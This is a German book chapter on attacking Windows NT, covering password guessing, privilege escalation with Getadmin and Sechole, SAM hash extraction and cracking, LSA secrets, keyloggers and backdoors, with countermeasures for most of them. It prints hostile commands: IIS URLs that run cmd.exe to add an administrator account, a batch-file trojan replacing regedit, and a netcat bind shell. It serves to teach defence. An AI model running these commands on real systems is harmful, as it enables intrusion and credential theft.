5 Windows NT
<< | < | = | > | >>
5.1 Einführung
Immer wieder findet sich Microsoft Windows NT im privaten oder öffentlichen Einsatz wieder, was der brillianten Kombination aus Benutzerfreundlichkeit und Effizienz gutzuschreiben ist. Diese zentrale Stellung in der Branche machen das System nicht nur für dessen Benutzer interessant, denn je mehr ein System verbreitet ist, desto mehr Vorteile kann die Möglichkeit eines Eindringens mit sich ziehen.

Hobbit von Acian Research publizierte anfangs 1997 den ersten fachlich orientierten Artikel zur Sicherheit von Windows NT: Neben dem CIFS (Common Internet File System) wurde der SMB (Server Message Block) genauestens unter die Lupe genommen. Zu dieser Zeit wanderten viele Blicke auf das multi-user Betriebssystem von Microsoft und Berichte über Fehler in der System- und Sicherheitsarchitektur werden bis heute immerwährend an die Öffentlichkeit getragen.

Microsoft hat die auftretenden Probleme meist sehr gewissenhaft durch Patches, eine Sammlung derer wird in NT-Kreisen liebevoll "Service Packs" genannt, gelöst. Viele Leute, auch in Fachkreisen, treten fälschlicherweise ignorant an Windows NT: Es sei ein unsicheres Betriebssystem. In fähige Händen ist ein Windows NT jedoch fast genauso sicher, wie jedes UNIX-System.

Ein generelles Problem, das auch bei anderen Microsoft-Produkten stets präsent zu sein scheint, ist die Behaftung des Zwangs der Abwärtskompatibelität. Software aus dem in Redmond stationierten Hause ist zudem in erster Linie stets auf Benutzerfreundlichkeit ausgerichtet, was unausweichliche Einbussen in der Performance und Sicherheit mitlaufen lässt.

5.2 Wie werde ich Administrator
Es existieren verschiedene Techniken, sich unerlaubten privilegierten Zugriff auf einem Windows NT-System zu ergattern. Jede dieser Methoden zielt auf andere Schwächen und Mängel von NT ab.

5.2.1 Kennwörter im Netzwerk raten

Es gibt drei Methoden des Herausfindens von Netzwerk-Kennwörtern: Manuelles, automatisches Raten von Passcodes und abfangen derer. Die ersten beiden Methoden machen erst wirklich Sinn, wenn eine Liste der registrierten Benutzer auf dem Zielsystem bekannt ist. Wie wir eine solche Analyse durchführen, haben wir im Kapitel 3 (Die Auswertung), Absatz 3.6 (Die Auswertung von Benutzerkonten und -Gruppen) erfahren.

Manuelles Raten von Kennwörtern

Benutzer neigen dazu ein möglichst simples Passwort zu wählen: Ein Vorteil für jeden Angreifer. Einfache Passwörter sind zum Beispiel Namen (eigener Name, Name der Firma, Name der Freundin, ...), Zahlenkombinationen (z.B. Geburtsdaten) oder die berühmt berüchtigten Standart-Passwörter (z.B. Gast, Passwort, Test, Administrator, ...). Viele vergessliche Anwender publizieren gar in den Kommentarfeldern eines exportierten Dateisystems das Passwort, was in meinen Augen als Todsünde gelten sollte.

Automatisches Raten der alten Schule

Das manuelle Raten von Passwörtern ist stumpfsinnig und langwierig. Ein Angreifer nimmt stets den leichtesten Weg: Warum soll man sich nicht eine mühsame Arbeit automatisieren lassen? Bruteforce gilt als die einfachste und primitivste Methode ein Passwort herauszufinden und ist nur das stupide Durchprobieren aller möglichen Zeichenkombinationen. Es gibt auch die Möglichkeit, die Versuche dieser Attacke ein bisschen einzuschränken, und nur in Wörterbüchern existierende Wörter auszuprobieren. Dies kann jedoch den Erfolg ohne weiteres verhindern, wenn zum Beispiel das Kennwort mit sinnlos erscheinenden Zahlen oder Sonderzeichen bestückt ist. Es empfiehlt sich daher immer ein in Wörterbüchern non-existentes Wort als eigenes Passwort zuverwenden, um diese sogenannten Dictionary-Attacks zu vereiteln.

Das Raten von Passwörtern: Gegenmassnahmen

Im Idealfall werden keine Daten exportiert, denn wo kein Ziel ist, ist auch kein Weg.

Wer trotzdem Daten für andere Zugänglich machen muss, der sollte darauf achten, dass seine Freigabe-Routinen fehlerfrei arbeiten. Ist dies nicht der Fall, muss man sich mit Bugfixes und Patches vom Hersteller behelfen. Von Fehlern behaftet sind erfahrungsgemäss folgende Systeme (Stand März 2001: die Liste ist unter keinen Umständen komplett!):

  • MicrosoftWindows 95 (alle Versionen)
  • MicrosoftWindows 98 (alle Versionen)
  • MicrosoftWindows NT 4.0 (alle Versionen bis und mit Service Pack 6)
  • Samba-Routinen für Linux aus dem Jahre 1998
  • Der Einsatz eines möglichst starken und einmaligen Passworts ist in jedem Fall von Vorteil. Es kann zwar einen Angriff nie verhindern, ihn aber beachtlich erschweren. In den Richtlinien für Konten kann der Administrator die Stärke und Ablaufzeit von zu wählenden Passwörtern definiert werden.

    Zudem können in Einzelfällen Firewall-Systeme Abhilfe schaffen: Machen sie die exportierten Dateisysteme nur vertrauten und authorisierten Personen mit genügend Kompetenz zugänglich. Dadurch schränken Sie den Kreis der potentiellen Angreifer und den spätestens nach einem entdeckten Angriff verdächtigen Personen enorm ein.

    5.2.4 Ausbau der Zugriffsprivilegien
    Gehen wir davon aus, dass wir uns einen normalen Gast- oder gar Benutzer-Status auf einem System erhaschen konnten. Noch immer scheinen die ultimativen administrativen Rechte in weiter Ferne zu liegen, und wir machen uns auf die Suche nach einer Möglichkeit, auch noch diese restlichen Privilegien einzuholen.

    Getadmin

    Getadmin ist ein Programm, klein und fein, das von Konstantin Sobolev geschrieben wurde und einen Benutzer in die Gruppe der lokalen Administratoren emporsteigen lässt. Zur Umsetzung dieses Vorhabens benutzt das Utility eine NT-Kernel-Routine, um durch das Setzen einer Flagge den Zugriff auf jeden laufenden Prozess zu ermöglichen. Danach kommt eine Technik mit dem Namen DLL-Injection zum tragen, die Codezeilen in einen Prozess namens "winlogon" einschleust, der das Recht zur gewünschten Superuser-Eintragung besitzt.

    Getadmin wird lokal in der Kommandozeile gestartet und benötigt physikalischen Zugriff zum und einen funktionstüchtigen Login am Computer. Der Syntax lautet "getadmin <Benutzername>". Damit die Änderungen nach erfolgreicher Abarbeitung aktiv werden, muss sich der jüngste Superuser zuerst ab- und neu anmelden.

    Getadmin: Gegenmassnahmen

    Mich würde interessieren, ob ich sie in 5 Sekunden traurig oder fröhlich stimmen werde: Getadmin funktioniert ab Service Pack 3 nicht mehr. Die Cracker-Gemeinde hat jedoch nicht lange geschlafen und einen Nachfolger herausgegeben, dem erst durch Service Pack 4 den Gar ausgemacht wurde: Crash4 kann den Patch aus SP3 umgehen, wenn ein anderes Programm vor der Ausführung von Getadmin gestartet wird. Mitlerweile sind wir bei Service Pack 6 angelangt, und nur die wenigsten vertrauenswürdigen Administratoren werden von den darin enthaltenen Bugfixes keinen Nutzen ziehen. Getadmin gehört also langsam definitiv der Vergangenheit an - Spätestens wenn Windows NT das Feld für den Nachfolger Windows 2000 geräumt hat.

    Sechole

    Sechole trumpft mit einer ähnlichen Funktionalität wie Getadmin auf: Der aktuell aktive Benutzer wird in die Grupper der lokalen Administratoren eingetragen. Der Nachfolger mit dem Namen Secholed (auch unter dem Namen Sechole3 publiziert) stellt den Anwender gar in die Gruppe der Domänenadministratoren, wodurch sich ungeahnte Möglichkeiten für einen Eindringling ergeben. Sechole basiert jedoch auf einer komplett anderen Methodik als Getadmin: Das Utility modifiziert die Anweisungen im Speicher des OpenProcess API-Aufrufs, so dass er sich bei einem priveligierten Prozess einbinden kann. Im Gutfall verhält sich Sechole alsdann wie getadmin: Sechole führt innerhalb des Prozesses ein Programm aus, das den Angreifer zu den Benutzern in der Gruppe der Administratoren einträgt.

    Auch Sechole muss lokal ausgeführt werden, was unter Umständen ein unüberwindliches Handicap für einen Angreifer darstellt. Schön ist da für den Bösewicht zu wissen, dass Sechole unter ganz bestimmten Bedinungen auch remote Fuss fassen kann...

    Remote-Ausführung von Sechole

    Die Ausführung von Sechole auf Distanz erfordert einige Zustände und Schritte beim Zielsystem, die in den Augen vieler summiert als Utopie bezeichnet werden würde:

    1. Das Zielsystem als Windows NT-Server muss einen ansprechbaren IIS (Internet Information Server) laufen haben, derer ein Verzeichnis die Rechte aufweist, dass es durch den Angreifer beschrieben und darin enthaltene Programme ausgeführt werden können. Die "Internet Security Systems" hat eine Liste veröffentlich, die alle für einen solchen Angriff relevanten Zielverzeichnisse auflistet. Dieses Dokument kann unter http://xforce.iss.net/static/1231.php eingesehen werden.
    2. Der Angreifer muss auf dem Zielsystem die ausführbaren Sechole-Dateien, die dazugehörigen DLLs, den NT-Befehlsinterpreter (cmd.exe) und ein Programm namens ntuser zur manipulativen Modifizierung der Benutzer- und System-Richtlinien einspielen.
    3. Nach dem Einrichten des Sechole-Programms muss das Utility ausgeführt werden. Dies geschieht mit der Anwahl der EXE-Datei durch die Eingabe der URL in einen Webbrowser. Durch diesen Schritt wird das Konto IUSR_machine_name in die Gruppe der Administratoren hinzugefügt.
    4. Da wir als Eindringling keinen blassen Schimmer um das Passwort des Benutzers IUSR_machine_name haben, können wir uns auch nicht auf diesem Account einloggen. Wir starten daher wieder remote auf die gleiche Weise mit dem Browser das Tool ntuser, um einen neuen Benutzer am Zielsystem einzurichten. Dazu verwenden wir folgende URL: http://192.168.0.222/scripts/cmd.exe?/c%20c:\inetpub\scripts\ntuser.exe%20-s%webbox%20%add%20marc%20-password%20test. Die Zeichenfolge "%20" wird vom Webserver als Leerzeichen interpretiert, wodurch sich schlussendlich die Eingabe so lesen würde: "cmd /s ntuser -s webbox add marc -password test".  "webbox" kennzeichnet den Namen des Webservers, "marc" den einzurichtenden Benutzer und "test" das dazugehörige Passwort. Mit einem ähnlichen Vorgehen könnte der Angreifer den neu angelegten User marc gleich den Status des Administratoren zuweisen. Die URL für diese Aktion liest sich wie folgt: http://192.168.0.222/scripts/cmd.exe?/c%20c:\inetpub\scripts\ntuser.exe%20-s%20webbox%20lgroup%20append%20Administrators%20marc. Die Eingabe wird durch den Webserver als folgende interpretiert und umgesetzt: "cmd /c ntuser -s webbox lgroup append Administrators marc".
    Sechole: Gegenmassnahmen

    In der Tat stellt Microsoft einen kompetenten Patch bereit, der die Sechole-Angriffsart zur Utopie degradiert: Siehe dazu den KB-Artikel Q190288 (SecHole Lets Non-administrative Users Gain Debug Level Access to a System Process) unter http://support.microsoft.com/support/kb/articles/Q190/2/88.ASP.

    Ein unnötiger Schreibzugriff und Ausführungsrechte sollten wenn möglichst auf dem Webserver gänzlich unterbunden werden. Als zusätzliche Massnahme diesbezüglich sollte der Zugriff auf die Ports 135 bis 139 am Server unterbunden werden, womit auch keine Verbindungen zu Freigaben mehr möglich sind. Sobald dies getätigt wurde sollte man sich des Deaktivierens der Schreibberechtigung des FTP-Servers annehmen.

    Trojanische Pferde

    Was ein trojanisches Pferd ist, haben wir im Kapitel 4 (Der Angriff auf Windows 9x), Absatz 4.2.5 (Hintertüren im System) angerissen. Basierend auf einem ähnlichem Prinzip, das den sogenannten Compagnion-Viren zugrundeliegt, können elementare Systemprogramme um trojanische Funktionalität erweitert werden. Benennen wir zum Beispiel das Programm c:\winnt\system32\regedit.exe in c:\winnt\system32\regeditor.exe um und erstellen eine Batch-Datei mit dem Namen c:\winnt\system32\regedit.bat uund dem Inhalt "net localgroup administrators <Benutzer> /add":
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>cd system32

    C:\WINNT\system32>ren regedit.exe regeditor.exe

    C:\WINNT\system32>echo "net localgroup administrators marc /add" > regedit.bat

    C:\WINNT\system32>_

    Wir benennen regedit.exe um, damit wir bei der vermeindlichen Ausführung dessen zum Administrator erkoren werden.

     
    Trojanische Pferde: Gegenmassnahmen

    Achten Sie auf komisches Verhalten von Programmen: Besonders das kurzzeitige Aufblitzen von Kommandos in der Eingabeaufforderung lässt nichts gutes erahnen.

    Ausführbare Registry-Werte

    Ein sehr gutes Versteck für das automatische Aufrufen von individuellem Programmcode sind die ausführbaren Registry-Werte. Jenachdem welchen Status sich ein Eindringling beschaffen konnte, hat er unter Umständen Zugriffe auf einiger solcher strategisch wichtigen Schlüssel:
     
    Registry-Schlüssel Standartberechtigung Ausführbare Werte
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run jeder alle
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Server-Operatoren alle
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx jeder alle
    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug jeder Debugger
    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Server-Operatoren Userinit
    Die Ausführbaren Registry-Schlüssel bei Windows NT.

    Ausführbare Registry-Werte: Gegenmassnahmen

    Vorbeugend sollten die Berechtigungen für die oben genannten Registry-Schlüssel mit regedt32 wie folgt eingestellt werden:

    Einige Anwendungen werden nach dem Inkrafttreten dieser Restriktionen nicht mehr vollumfänglich ihren Dienst verrichten. Testen Sie im Vorfeld ein solches Vorgehen daher bestmöglich ausserhalb der Produktionsumgebung.
    5.3 Ausbau der Machtstellung
    Hat man als Angreifer erst einmal den Status eines Administrators auf einem System erlangt, baut man am besten vorausdenkend seine Machtstellung aus. Dies bedeutet, dass man soviele Ressourcen wie möglich an sich reisst, damit bei einer drohenden Aussperrung eventuell kleine Inseln als Rettungspunkte bereitstünden.

    5.3.1 Die SAM-Datenbank ausbeuten

    Als erstes bedient sich ein neuer Administrator der SAM-Datenbank (Security Accounts Manager), die alle Benutzernamen und dazugehörigen Passwörter des Systems, im Fall eines Domänencontrollers sogar der ganzen Domain, in verschlüsselter Form enthält. Microsoft musste sich zur Wahrung der Abwärtskompatibelität bei der Chiffrierung der Passwörter an einen simplen Hashing-Algorithmus klammern, der noch aus den LANMan-Zeiten des NT-Systems stammt.

    Die SAM-Datenbank auslesen

    Bevor wir die Passwörter aus der SAM-Datenbank dechiffriert extrahieren können, müssen wir sie einsehen bzw. auslesen können. Die SAM-Daten werden in der Datei c:\winnt\system32\config\sam gespeichert und ist gesperrt, solange das Betriebssystem aktiv ist. Es gibt insgesamt vier Methoden, an eine SAM-Datei heranzukommen:

    Starten mit einem anderen Betriebssystem

    Starten Sie das Zielsystem mit einem anderen Betriebssystem (z.B. bootbare Linux-CD oder DOS-Diskette) und kopieren Sie die SAM-Datei auf eine Diskette. Wird ein DOS genutzt und soll auf ein NTFS-Zugegriffen werden, so bedient man sich am besten des UtilitiesNTFSDOS (http://www.sysinternals.com/ntw2k/freeware/NTFSDOS.shtml) von Systeminternals, das jede NTFS-Partition als logische DOS-Partition aktiviert und das Auslesen erst Möglich macht.

    SAM-Datei aus dem Repair-Verzeichnis kopieren

    Kopieren Sie die Datensicherung der SAM-Datei, die durch das NT-Festplatten-Reparatur-Utility (rdisk) angelegt wurde auf einen persönlichen Datenträger. Die komprimierte Kopie der SAM-Datenbank findet sich unter dem Namen Sam._ im Vezeichnis c:\winnt\repair. Die meisten Systemverwalter machen sich nach dem Ausführen von rdisk mit der Option "-s" nicht die Mühe, das Überbleibsel von der Platte zu löschen. Die gesicherte SAM-Datei muss vor der Einspielung expandiert werden, was die Import-Funktion der neueren L0phtcrack-Versionen automatisch erledigen können.

    Passwortsequenzen aus der SAM-Datei auslesen

    Lesen Sie die Kennwortsequenzen direkt aus der SAM-Datei aus. Dies kann vorzugsweise mit dem von Jeremy Allison in der Programmiersprache C entwickelten Toolpwdump geschehen. Der Quelltext ist öffentlich einsehbar, was sicher dazu beigetragen hat, dass die neueren Versionen von L0phtcrack diese Funktionalität gleich implementierend aufweisen.

    Microsoft hat dieser Sicherheitslücke schon durch die mittels Service Pack 2 publizierten SYSKEY-Erweiterungen entgegengewirkt. Die von Todd Sabin geschriebene weiterentwicklung mit dem Namen pwdump2 konnte allerdings auch SYSKEY umgehen. Auch pwdump2 benutzt die zuvor beschriebene DLL-Injection-Technik, um die eigenen Befehle in einen Prozess mit administrativen Privilegien namens lsass.exe zu laden.

    Sniffen nach Kennwortdialogen

    Eine der mächtigsten und herausragendsten Funktionen von L0phtcrack ist die Fähigkeit, SMB-Authentifizierungssequenzen direkt aus dem lokalen Netzwerk abzugreifen.

    Die SAM-Datenbank knacken

    Eines der beliebtesten Tools zum Knacken der SAM-Datenbank ist das UtilityL0phtcrack, das mittels Bruteforce alle möglichen Kombinationen automatisch ausprobiert. Ein Intel Pentium III mit 450 Sollte eine komplette SAM-Datenkbank innerhalb von 24 Stunden aufgeschlüsselt haben.

    L0phtcrack

    Das unumstritten beste Tool für das Bearbeiten von SAM-Datenbanken ist L0phtcrack. Das Utility steht für die grafische Oberfläche und für die Eingabeaufforderung (NT und UNIX) zur Verfügung.

    L0phtcrack
    L0phtcrack für Windows.

    John the Ripper

    Viele UNIX-Cracker fühlen sich zu Hause, wenn ich John the Ripper, abgekürzt JtR, vorstelle. Das für Dictionary-Attacks ausgelegte Bruteforce-Tool von Solar Designer ist befehlszeilenorientiert und in erster Linie für das Knacken von UNIX-Passwortdateien entwickelt worden. JtR kann jedoch auch für das Dechiffrieren von LANMan-Kennwörtern gebraucht werden. Ich mag es, da es sehr effizient arbeitet und kostenlos ist. Die vielen Funktionen und Optionen sind für Anfänger zwar schwer nachvollziehbar, in den Händen eines fähigen Benutzers jedoch sehr konstruktiv.

    Crack

    Crack wurde von Alec Muffet publiziert und ist ursprünglich nur für das Dechiffrieren von UNIX-Passwortdateien konzipiert worden. Es sind jedoch Erweiterungen verfügbar, mit deren Hilfe Crack auch auf NT-Sequenzen angesetzt werden kann. In Punkto Selbstständigkeit übertrumpft Crack seine Mitstreiter: Es steht eine Funktion zur Verfügung, die auch Abwandlungen von Passwörtern ausprobiert. Problematisch wird Crack für Gegner von Kommmandozeilen-Tools, denn der Synthax ist wohl für so manchen verwöhnten Windows-Freund ziemlich kryptisch.

    5.3.2 Die SAM-Datenbank ausbeuten: Gegenmassnahmen
    Ein Tipp, den ich nur immer wieder in diesem Zusammenhang aussprechen kann: Verwenden Sie möglichst starke Passwörter. Ein Passwort gilt als stark, wenn es möglichst viele der folgende Kriterien erfüllen kann:
    • Möglichst lang (mindestens 6 Zeichen, wenn nicht sogar 8)
    • Mischen von alphanummerischen-, nummerischen- und Sonderzeichen
    • Gross- und Kleinschreibung verwenden, falls jene erkannt wird
    • Keine Passwörter einsetzen, die in Wörterbüchern vermerkt sind
    • Keine privaten Daten (z.B. Geburtstag, zweiter Vorname, Lieblingsauto, ...) als Passwort gebrauchen
    5.3.3 Vertrauensbeziehungen missbrauchen
    Hat ein Angreifer sich erst einmal administrative Rechte auf einem NT-System ergattert, ist noch lange nicht das Ende der Fahnenstange in Sicht. Tatsächlich sind die meisten NT-Maschinen nur einzelne Anwendungsserver in einem Netzwerk bzw. einer Domäne, die lediglich eine Kopie eines Teils der SAM-Datenbank des Domänencontrollers aufbewahren. Unter Verwendung verschiedenster Techniken ist es für einen Eindringling möglich die Kontrolle über andere Systeme im gleichen Netzwerk zu erhalten, und bestenfalls seinen Kompetenzbereich auf den Domänencontroller auszuweiten.

    Spiegelung des Administratoren-Kontos

    Wie oft verwenden Sie das gleiche Passwort für verschiedene Authentifikationen? Sehr viele Administratoren nutzen das gleiche Passwort für ihren lokalen Zugang, als wie auch für den normalen oder gar administrativen Zugriff auf dem Domänencontroller verwenden. Ist ein Angreifer erst einmal im Besitz eines Passworts eines Administrators, wird er als erstes dessen Potenz auf einem anderen System ausprobieren.

    Immerwieder begegne ich dieser Problematik. Auf folgende drei Punkte sollte ein sicherheitsbewusster Benutzer bzw. Administrator achten:

    1. Lokale Administratorenkonten, die das identische Passwort wie ein Mitglied der Gruppe der Domönenadministratoren besitzen.
    2. Lokale Benutzerkonten, die den gleichen Namen und das identische Kennwort wie ein Domänenkonto nutzen. Ganz besonders, wenn es sich um ein Mitglied der Gruppe der Domänenadministratoren handelt.
    3. Informationen in Kommentarfeldern, die Hinweise auf Relationen in sich bergen können. Zum Beispiel ein Eintrag wie "Kennwort ist gleich wie für Administrator am PDC1".
    Spiegelung des Administratoren-Kontos: Gegenmassnahmen

    Die beste Gegenmassnahme ist eine strenge Richtlinie an den NT-Stationen, die komplexe Passwörter vorschreibt. Die Kennwörter sollten zudem regelmässig, ich empfehle den Zeitraum von 30 Tagen, geändert werden. Zusätzlich dürfen normale Benutzerkonten nicht für administrative Aufgaben zweckentfremdet werden; stattdessen sollte ein eigenständiger User für solche Aufgaben erstellt werden, der einer strengen Überwachung unterzogen werden kann. Dadurch werden Anomalien sehr schnell aufgedeckt. Das Einrichten von solchen Konten mit erweiterten Privilegien sollte nicht offensichtlich sein. Richten Sie lieber einen Benutzer mit dem Namen "marca" ein, anstatt ihm den Titel "marcadmin" zu verpassen: Solche Konten sehen für einen Angreifer weniger gewinnträchtig aus. Eine sehr gute Idee stammt aus der UNIX-Umgebung: Dort werden mit Hilfe des su-Kommandos kurzzeitig die Rechte eines anderen Benutzers angenommen. Das su-Utility aus dem NTRK stellt eine Portierung dieses Tools dar. Einem ähnlichen Prinzip ist der runas-Befehl von Windows 2000 unterworfen.

    LSA Secrets

    Domänenkonteninformationen können durch ein von Paul Ashton im Jahre 1997 in der NTBugtraq-Mailing-Liste veröffentlichtes Vorgehen aufgedeckt werden. Das Programm "LSA Secret" vermochte den Inhalt der Sicherheitsinformationen der Local Security Authority (LSA) anzuzeigen. Das Programm muss vom Administrator ausgeführt werden und speichert eine Fülle von sicherheitsrelevanten Informationen aus den Schlüsseln von "HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets" ab. Ein Ausbau der Machstellung steht alsdann nichts mehr im Weg.

    LSA Secrets: Gegenmassnahmen

    Microsoft trat mit einem Fix an dieses Problem heran, dass alle gespeicherten Passwörter mit einem zusätzlichen, SYSKEY sehr ähnlichen Algorithmus chiffriert. Der Patch ist seit der Veröffentlichung von Service Pack 5 unter dem Namen lsa2-fix unters Volk gebracht worden. Weitere Informationen finden sich in der MicrosoftKnowledge Base im Artikel ID Q184017 (Administrators Can Display Contents of Service Account Passwor) unter http://support.microsoft.com/support/kb/articles/Q184/0/17.ASP.

    Autologon Registry-Schlüssel

    Windows NT erlaubt einen Eingriff, nach dessen man an der Konsole ohne Authentifizierungs-Aufforderung mit administrativen Rechten eingeloggt wird. Die besagte Manipulation zieht über den Registry-Key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" her.

    Diese Funktion kann sehr nützlich sein, wenn im Vorfeld eine Authentifizierung des Benutzers stattfindet; zum Beispiel durch ein Chipkarten-System beim Eintreten des Netzwerk-Raumes. Problematischer ist jedoch, dass ein solcher Zugriff sehr viele Privilegien mit sich zieht. So kann ein Angreifer zum Beispiel nach erfolgreicher Anmeldung sicherheitsrelevante Daten im Klartext aus den untergeordneten Registrierungswerten von "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" extrahieren.

    Autologon Registry-Schlüssel: Gegenmassnahmen

    Um die Autologon-Funktionalität einzuschränken, löschen Sie den Wert "DefaultPasswort" des besagten Schlüssels. Ausserdem lässt sich durch Setzen des Werts 0 oder Löschen des Schlüssels "AutoAdminLogon" der Original-Zustand, inklusive Passwort-Authentifizierung, wieder herstellen.

    Keylogging

    Der Begriff Keylogging steht für das Aufzeichnen von Tastaturanschlägen. Ein speicherresidentes Programm hört den Interrupt der Tastatur ab und schreib alle Eingaben derer zur späteren Einsicht in eine Datei. Von besonderem Interesse sind natürlich die Login-Sequenzen, die dem Angreifer Benutzernamen und Kennwörter verraten.

    Ausgeklügelte Aufzeichnungstools lassen remote Einsicht in die Log-Datei nehmen, oder können jene automatisch bei bestehender Netzanbindung dem Eindringling zukommen lassen.

    Keylogging: Gegenmassnahmen

    Die Entdeckung von aufzeichnendem Programmcode ist sehr schwiereg, da die Infiltration des Systems sehr subtil abläuft. Man sollte jedoch bedenken, dass ein Keylogger bestmöglich beim Systemstart ausgeführt werden soll. Folglich muss der Aufruf dessn in irgendeiner Start-Zeile eingenistet haben: Von der Registry über die autoexec.bat bis hin zu win.ini kann so ziemlich alles als Versteck dienen.

    Weitere Informationen zum Verstecken und Ausführen von Programmen mit trojanischer Funktionalität findet sich in Kapitel 9 (Fortgeschrittene Techniken), Absatz 9.6.3 (Startdateien) und Absatz 9.6.4 (Zeitgesteuerte Aufgaben).

    5.3.4 Fernsteuerung und Hintertüren
    Windows NT wurde nicht mit dem Grundgedanken entworfen und umgesetzt, ein entferntes Arbeiten an einer solchen Maschine zu ermöglichen. Dies ist natürlich auch ein Vorteil, da von Haus aus weniger Angriffsfläche geboten wird. Konnte sich ein Eindringling jedoch erst einmal den Status eines Administrators erschleichen, so gibt es mehrere Möglichkeiten, wie er eine Fernsteuerung des Systems in die Tat umsetzen könnte.

    Fernsteuerungs-Tools aus dem NTRK

    Zwei Utilities zur Fernsteuerung von NT-Maschinen können in der Server-Version des NTRK gefunden werden: Zum einen die Remote Command Line (remote.exe) und der Remote Command Service (rcmd.exe und rcmdsvc.exe). remote.exe birgt die Funktionalität von Server und Client in sich, so dass es von meiner Person vorzugsweise genutzt wird.

    rcmdsvc.exe muss am Zielsystem mit den Privilegien eines Administrators ausgeführt werden, damit durch remote.exe eine Verbindung hergestellt werden kann. Aber, wie eingehends schon erwähnt, auch remote.exe kann mit dem Schalter "/S" bei einem Zielsystem in den Server-Modus geschaltet werden. Dem zugrundeliegend ist das schon im Kapitel 4 (Der Angriff auf Windows 9x), Absatz 4.2.5 (Hintertüren im System) besprochene Client/Server-Prinzip: rcmdsvc.exe bzw. remote.exe ist der Server und remote.exe der Client:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>remote /c 192.168.0.222
    ******************************
    ********** remote ************
    ********** Client ************
    Connected..
    Microsoft (R) Windows NT(TM)
    (C) Copyright 1995-1996 Microsoft Corp.
    C:\>_

    Wir stellen mit remote.exe aus dem NTRK als Client eine Verbindung zu einem entfernten NT-System her.

    Ein tolles Feature dieser Tools aus dem NTRK ist, dass die Kommunikation zwischen Server und Client an kein Protokoll gebunden ist: Ein Dialog kommt immer zustande, wenn Server und Client mindestens ein gleiches Protokoll installiert haben - Dadurch werden auch Fernwartungen über IPX oder NetBEUI möglich.

    Remote-Shell durch netcat-Abfrage

    Das ultimative TCP/IP-Toolnetcat lässt sich so konfigurieren, dass eine Remote-Administration stattfinden kann. Dazu installiert man auf dem entfernten System die Server-Version des Utilities:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>nc -L -d -e cmd.exe -p 8000

    C:\WINNT>_

    Wir installieren netcat so, dass beim Herstellen einer Verbindung auf Port 8000 der Kommandozeileninterpreter gestartet wird.

    Bei dieser Eingaben haben wir netcat insofern an den TCP-Port 8000 gebunden, alsdass bei einem Zustandekommen einer Verbindung mit dem besagten Port der Befehlszeileninterpreter (cmd.exe) auf dem Remote-System ausgeführt wird.

    Durch die folgende Eingabe bauen wir nun vom Client-System eine Verbindung zum Port 8000 (TCP) des Server-Systems auf, um so in den Genuss einer uneingeschränkten Remote-Shell zu kommen:
     
    C:\WINNT\System32\cmd.exe
    Microsoft(R) Windows NT(TM)
    (C) Copyright 1985-1996 Microsoft Corp.

    C:\WINNT>nc 192.168.0.222 8000
    Microsoft (R) Windows NT(TM)
    (C) Copyright 1995-1996 Microsoft Corp.
    C:\WINNT>_

    Wir stellen eine Verbindung mit netcat zum Port 8000 des Systems mit der IP-Adresse 192.168.0.222 her.

    NetBus

    Wir haben NetBus schon im Kapitel 4 (Der Angriff auf Windows 9x), Absatz 4.2.5 (Hintertüren im System) kennengelernt. Das Tool zur Fernwartung wurde von Carl-Fredrik Neikter geschrieben und von der Hacker-Gruppe Cult of the dead Cow (cDc) publiziert. NetBus ist eines der wenigen guten Remote-Control-Utilities, das frei erhältlich ist und gleichermassen unter Windows 9x und NT läuft.

    NetBus
    Der Client-Teil von NetBus 2.0 Pro in Aktion auf einem Windows 98.

    Back Orifice 2000

    Back Orifice, oft nur mit dem Akronym BO betitelt, stellt eines der berühmtesten Tools zur Fernwartung von Windows.

    Die erste Version von Back Orifice war unter Windows NT nicht lauffähig, was sich jedoch mit dem Erscheinen von Back Orifice 2000 am 10. Juli 1999 geändert hat. Es bietet den nahezu identischen Funktionsumfang wie NetBus:

  • Manipulation der Registry
  • Passwörtermit- und auslesen
  • Prozesse generieren
  • Freigaben einrichten
  • etc.
  • Die Handhabung von BO ist ziemlich mühsam, da man sich zuerst an das Handling des Utilities gewöhnen muss. Dafür bietet es die Funktion der Auswahl des Nutzens von UDP- oder TCP-Verbindungen: Das Umgehen von Firewall-Systemen ist also in keinster Weise eingeschränkt.

    Back Orifice
    Der Client-Teil von BackOrifice auf einem Windows 9x in Aktion.

    Folgende Seiten berichteten erstmals über die Sicherheitsproblematik von Back Orifice:

  • Microsoft Security Advisor: BackOrifice 2000
  • ISS Security Alert: Back Orifice 2000 (July 12, 1999)
  • ISS Security Alert Advisory: Cult of the Dead Cow Back Orifice Backdoor (August 6, 1998)
  • ISS Vulnerability Alert: Windows Backdoors Update (September 10, 1998)
  • Schwachstelle IIS

    Die erste Angriffsmöglichkeit gegen den MSIIS (MicrosoftInternet Information Server), der zum Lieferumfang von Windows NT Server gehört, wurde am ersten März 1996 der Öffentlichkeit präsentiert. Seitdem ist praktisch kein Monat vergangen, ohne dass eine neue Sicherheitslücke im besagten Server-Dienst gefunden wurde. Eine der potentesten Angriffsmöglichkeiten ist der am 17. Oktober 2000 bei SecurityFocus publizierte UNICODE-Bug: Durch eine falsche Handhabung der Zeichenkette "../" ist es einem Angreifer über HTTP möglich, Blicke in ein beliebiges Verzeichnis auf dem Opfer-System zu erhaschen. Martin J. Münch, ein Ex-Mitglied der deutschen Hacker-Gruppe Kryptocrew, publizierte in einem ausgewählten Kreise Anfangs 2001 ein Perl-Script, dass diesen Remote-Zugriff in beachtlicherweise vereinfacht:
     
    Welcome to SuSE Linux 7.1 (i386) - Kernel 2.2.17

    prometheus login: mruef
    Password: 
    Last login: Wed Jan 17 09:11:13 on tty1
    Have a lot of phun...
